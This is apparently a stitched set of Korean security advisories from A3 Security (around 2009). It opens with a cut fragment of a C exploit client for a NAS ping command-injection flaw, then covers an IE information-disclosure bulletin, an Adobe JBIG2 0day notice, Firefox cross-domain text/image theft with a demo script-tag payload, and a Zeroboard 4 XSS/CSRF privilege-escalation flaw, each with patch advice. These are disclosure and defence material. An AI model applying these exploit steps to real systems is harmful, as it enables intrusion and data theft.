printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';


// ***** Check command result

snprintf(postdata, sizeof(postdata),  


>>-- snip --<<


본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.

해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.


[그림 6] network.pyc 모듈의 취약점 발생 루틴


본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.

만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.


1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 


다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.


[그림 7] network.pyc 모듈의 패치 전과 후


위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.


[그림 8] network.pyc 모듈의 패치 완료


http://www.microsoft.com/technet/security/advisory/980088.mspx

MS에서 제로데이 취약점(Vulnerability in Internet Explorer Could Allow Information Disclosure)을 발표했습니다.

공격자에 의해서 사용자PC의 파일명과 파일 위치의 정보가 노출이 된다고 합니다.
기본적으로 보호모드를 지원하지 않는 Internet Exporer 5,6 대상으로 많이 이루어지고 있으며, Internet Explorer 8 버전으로 업데이트 할 것을 권고 합니다.

보호모드 정보 : http://msdn.microsoft.com/en-us/library/ms537180(VS.85).aspx

[영향 받는 소프트웨어]
 

Windows 2000 Service Pack 4

Windows XP Service Pack 2

Windows XP Service Pack 3

Windows XP Professional x64 Edition Service Pack 2

Windows Server 2003 Service Pack 2

Windows Server 2003 x64 Edition Service Pack 2

Windows Server 2003 with SP2 for Itanium-based Systems

Windows Vista

Windows Vista Service Pack 1 and Service Pack 2

Windows Vista x64 Edition

Windows Vista x64 Edition Service Pack 1 and Service Pack 2

Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service pack 2

Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2

Windows 7 for 32-bit Systems

Windows 7 for x64-based Systems

Windows Server 2008 R2 for x64-based Systems

Windows Server 2008 R2 for Itanium-based Systems

Internet Explorer 5.01 Service Pack 4 for Microsoft Windows 2000 Service Pack 4

Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4

Internet Explorer 6 for Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2

Internet Explorer 6 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2

Internet Explorer 7 for Windows XP Service Pack 2 and Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2

Internet Explorer 7 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2

Internet Explorer 7 in Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2, and Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2

Internet Explorer 7 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2

Internet Explorer 7 in Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2

Internet Explorer 7 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2

Internet Explorer 8 for Windows XP Service Pack 2 and Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2

Internet Explorer 8 for Windows Server 2003 Service Pack 2 and Windows Server 2003 x64 Edition Service Pack 2

Internet Explorer 8 in Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2, and Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2

Internet Explorer 8 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2

Internet Explorer 8 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2

Internet Explorer 8 in Windows 7 for 32-bit Systems

Internet Explorer 8 in Windows 7 for x64-based Systems

Internet Explorer 8 in Windows Server 2008 R2 for x64-based Systems

Internet Explorer 8 in Windows Server 2008 R2 for Itanium-based Systems



▷ 작성자 : 니키 (ngnicky@a3sc.co.kr)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)


Adobe Reader and Acrobat JBIG2
buffer overflow vulnerability


"Adobe Reader and Acrobat JBIG2 buffer overflow vulnerability" 0day POC가 공개되었습니다. 우선 대응방안 사이트를 참고하여 임시적으로 대응을 하시기 바라며, 상세부분은 현재 진행중입니다. 분석되는대로 포스팅 하겠습니다.

참고사이트
http://www.kb.cert.org/vuls/id/905281
http://www.milw0rm.com/exploits/8099

대응방안
http://nchovy.kr/forum/2/article/405

현재 상세분석은 진행중입니다.

▷ 작성자 : InPure(aramlee@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)



Mozilla Firefox Cross Domain Text(Image) Theft


취약점
보안 권고안



1. 요 약

[Text Theft]
<script src=”      “> 태그가 포함된 스크립트를 실행할 때 나타나는 자바스크립트 에러메시지는 window.onerror 핸들러를 사용하며, 원격 도메인의 텍스트를 에러메시지의 한 부분으로 포함할 수 있다. 이것을 이용하여 다른 도메인의 텍스트를 훔치는 것이 가능하다.

[Image Theft]
HTTP 리다이렉터를 이용하여 다른 도메인에 있는 임의의 이미지에 접근할 때, 브라우저에 로컬에서 리다이렉트하는 것처럼 속여 접근이 가능하다.


2. 대상시스템

 Mozilla Firefox 3.x before 3.05

Mozilla Firefox 2.x before 2.0.0.19

Thunderbird 2.x before 2.0.0.19

SeaMonkey 1.x before 1.1.14




3. 심각도 및 취약점 확인

취약점 영향

Mozilla Firefox Cross Domain Text Theft

Cross Domain Text(Image) Theft





Ⅱ. 취약점 세부 분석

1. 취약점 내용
데모로 아래 URL을 이용하였다.
https://cevans-app.appspot.com/static/ff3scriptredirbug.html

[Text Theft]
데모 URL에서 훔쳐오고 싶은, 즉 Target Text파일 URL을 다음과 같이 <script src=””>태그 안에 삽입한다.

 <script src="../redir?url=http://vsftpd.beasts.org/steal_me/hex.txt">


다음은 Target Text이다.


[그림 1] Target Text


[그림 2]와 같이 데모 URL에 접속하면, 자바스트립트 에러메시지 창이 뜨는 데, 그 에러메시지에는 Target Text([그림 2]의 붉은 박스부분)가 포함되어 있다.


[그림 2] Text Theft



[Image Theft]

원격 도메인의, 가져오고 싶은 그림(Target) URL은 다음과 같다.

 https://cevans-app.appspot.com/redir?url=http://vsftpd.beasts.org/steal_me/stocks.png

다음은 Target Image이다.

[그림 3] Target Image


데모 URL에 접속하면 다음과 같이 Target Image가 보이고, Target Image의 첫번째 픽셀 정보를 볼 수 있다.

[그림 4] Cross Domain Image Theft


2. 위험 분석
[
Text Theft]

자바스크립트로 데이터 로드를 시도함으로써 구문 에러메시지를 일으키고, DOM API의 window.onerror 핸들러로 파일의 일부를 드러냄으로써, 다른 도메인의 제한된 정보에 접근을 허용하며, 이는 기밀 정보나 개인 정보를 훔치는 데 악용될 수도 있다.

[Image Theft]
다른 도메인에 있는 이미지를 공격자가 canvas로 이미지를 표현하거나, 자바스크립트 API인 getImageData()를 사용할 수 있다. 이것은 다른 도메인의 제한된 정보에 접근을 허용하는 것을 의미하며, 이는 기밀 정보나 개인 정보를 유출하는 데 악용될 수도 있다.

.14



Ⅲ. 대응 방안

1. 보안 대책
[Text Theft]

현재 패치된 FireFox 3.0.5, 3.0.6 버전이 배포되고 있으며, 최신 버전인 3.0.6 버전 다운로드 URL은 다음과 같다.

http://www.mozilla.or.kr/ko/products/download.html?product=firefox-3.0.6&os=win&lang=ko

다음은 패치된 버전으로 취약점 분석에 이용한 데모 URL에 접속한 화면이다.
 


[그림 5] 패치된 화면


하지만, 이 패치된 경우는 다른 방법의 302 Redirect를 이용하여 우회가 가능한 미봉책일 뿐이다.

패치를 하지 않았을 경우나 보다 확실한 대책은, Java Plugin을 실행하지 않도록 설정을 변경하는 것이지만, 현실적으로는 불가능에 가까우므로 White List를 이용하여 신뢰하는 사이트만 제한적으로 Java Plugin을 허용한다.


[Image Theft]

현재 패치된 FireFox 2.0.0.18 이상, FireFox 3 버전이 배포되고 있으며, 최신 버전인 3.0.6 버전 다운로드 URL은 다음과 같다.

http://www.mozilla.or.kr/ko/products/download.html?product=firefox-3.0.6&os=win&lang=ko

다음은 패치된 버전으로 취약점 분석에 이용한 데모 URL에 접속한 화면이다.


[그림 6] 패치된 화면

패치는 원격 도메인의 정보를 빼내는 데 사용되는 JavaScript API인 getImageData나 toDataUrl가 사용이 되는지 확인하는 방법으로 이루어졌다.


2.  관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

[Text Theft]
CVE-2008-5507

CESA-2008-011 http://scary.beasts.org/security/CESA-2008-011.html
MFSA 2008-65
http://www.securityfocus.com/archive/1/499353/30/360/threaded

[Image Theft]
CVE-2008-5012
CESA-2008-009
http://scary.beasts.org/security/CESA-2008-009.html
MFSA 2008-48
http://www.mozilla.org/security/announce/2008/mfsa2008-48.html
http://scarybeastsecurity.blogspot.com/2008/11/firefox-cross-domain-image-theft-and.html
http://www.securityfocus.com/archive/1/498468


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

▷ 작성자 : indra (indra@a3security.com)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)

A3시큐리티 TeamCR@K의 멤버 indra가 발견한 취약점이며 벤더사의 패치가 완료되었고, 해당 서비스(Zeroboard 4) 를 사용하고 있는 사용자들은 신속한 패치를 하시기 바랍니다.


Zeroboard 4 XSS/CSRF 취약점 보안 권고안

                                                               By indra@a3security.com


I. 취약점 개요


취약점

Zeroboard 4 XSS/CSRF 취약점

A3SC Advisory ID

A3AID09-03

위험 등급

최초 발표일

2009.02.13

문서 작성일

2008.12.12

벤더

NZEO

현재상태(패치여부)

패치


1. 요 약
Zeroboard 4 솔루션에서 XSS/CSRF 취약점이 발견되었다. 현재 솔루션의 업데이트 및 배포를 맡고 있는 NZEO(http://www.nzeo.com) 에서는 Zeroboard 4 솔루션에 대한 버그패치는 현재 이루어지지 않고 있으며, XE 버전에 주력하는 양상을 보이고 있다.
이번 발견된 XSS/CSRF 취약점은 사용자 입력 값에 대한 검증미흡을 통해 발전 되었으며, 이를 이용해 악의적인 외부 사용자는 관리자 권한을 획득하고 의도하지 않은 서버의 명령을 실행 할 수 있는 권한까지도 가능 한 취약점이다.


2. 대상 시스템
- 별도의 패치가 적용되지 않은 모든 Zeroboard 4 패키지


3. 심각도 및 취약점 영향

취약점 영향

위험도

관리자 권한 획득


 


II. 취약점 세부 분석

1. 취약점 내용
본 취약점은 write_ok.php 파일의 처리 프로세스 중 글을 수정하는 단계에서 사용자의 입력 값에 대해 검증절차가 마련되어 있지 않아 사용자 입력 값에 악의적인 내용의 스크립트를 작성하여 웹 페이지 사용자를 공격 할 수 있다.

다음 그림은 제로보드 소스코드 중 write_ok.php 파일의 일부분이다. 



[그림 1] write_ok.php 파일 내용

위 그림에 의하면 289번 라인 아래로는 “수정글”에 대한 처리 루틴인 것을 알 수 있으며, 변수의 조작만으로 SQL의 file_name1, file_name2 필드에 원하는 문자열을 값으로 처리하도록 변조 할 수 있는 가능성이 있다.

다음 그림은 제로보드 소스코드들 중 include/list_check.php 파일과 view.php 파일의 내용 일부를 캡쳐 한 화면이다.



[그림 2] include/list_check.php 와 view.php 파일의 일부 내용

위 그림에서 좌측 상단에 있는 파일이 include/list_check.php 파일이며 우측 상단과 하단의 내용이 view.php 파일의 내용이다. 먼저 include/list_check.php 파일은 view.php 파일에서 함수를 참조할 때에 함수의 구현부가 있는 파일이며, 우측 상단의 list_check() 함수가 실행될 때 참조 된다. 
s_file_name1, s_file_name2 필드에 있는 값 그대로를 참조하며 이러한 값은 결국 아래의 view.php 파일의 내용인 “첨부파일 링크 기능”에 사용된다.

다음 그림은 해당 취약점을 이용해 CSRF 공격을 시도한 화면이다.



[그림 3] CSRF 공격시도를 한 화면

위 그림에서 표면적으로 볼 때 파일 다운로드 부분에는 아무런 문제가 발생하지 않은 것 처럼 보이나, 실제 HTML 소스코드를 확인 할 경우 특정 태그를 사용하여 다른 페이지와의 연결을 시도하는 코드가 발견된다. 이는 제로보드 내 관리자 메뉴를 사용하여 특정 이름을 가진 사용자의 권한상승을 시도하는 코드로서 관리자 권한을 가진 사용자가 해당 게시물을 읽었을 경우 특정 사용자가 관리자 권한으로 변경되는 상황이 일어 날 수 있다.

다음 그림은 CSRF 공격시도가 성공하여 일반 사용자가 관리 권한을 얻어낸 후 관리자 메뉴에 접속 한 화면이다.


 

[그림 4] 취약점에 의해 일반 사용자가 관리 권한을 얻은 상황

2. 위험 분석
해당 취약점은 현재 패치 되지 않은 상태로 모든 Zeroboard 4 버전을 사용하고 있는 웹 페이지들이 취약하며, 또한 관리자 메뉴에는 서버의 명령을 실행 할 수 있게 하는 기능이 존재하여 이를 이용한 서버 침입 수준의 연계공격이 가능하므로 이를 이용한 공격 시도 및 피해가 예상된다.


III. 대응 방안


1. 보안 대책

가. 공식 패치
현재 Zeroboard 공식 패포처 인 NZEO에서 이에 대한 패치를 이미 내 놓았으며, 해당 패치는 다음의 URL에서 Download 받을 수 있다.
http://www.zeroboard.com/17757124#10

나. 개별 패치
Zeroboard 솔루션에는 HTML 태그에 사용되는 특수문자에 대해 타 문자로 치환하는 방식의 함수가 포함되어 있으며 해당 함수를 이용하여 패치 할 수 있다.
include/list_check.php 파일의 116, 117 번에서 $file_name1, $file_name2 변수에 값을 대입할 때, del_html() 함수를 사용한다.

수정 전: 

 116                            $file_name1=$data[s_file_name1];

117                            $file_name2=$data[s_file_name2];



수정 후:
 
116                            $file_name1=del_html($data[s_file_name1]);

117                            $file_name2=del_html($data[s_file_name2]);


2. 관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

http://www.zeroboard.com/17757124#10


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.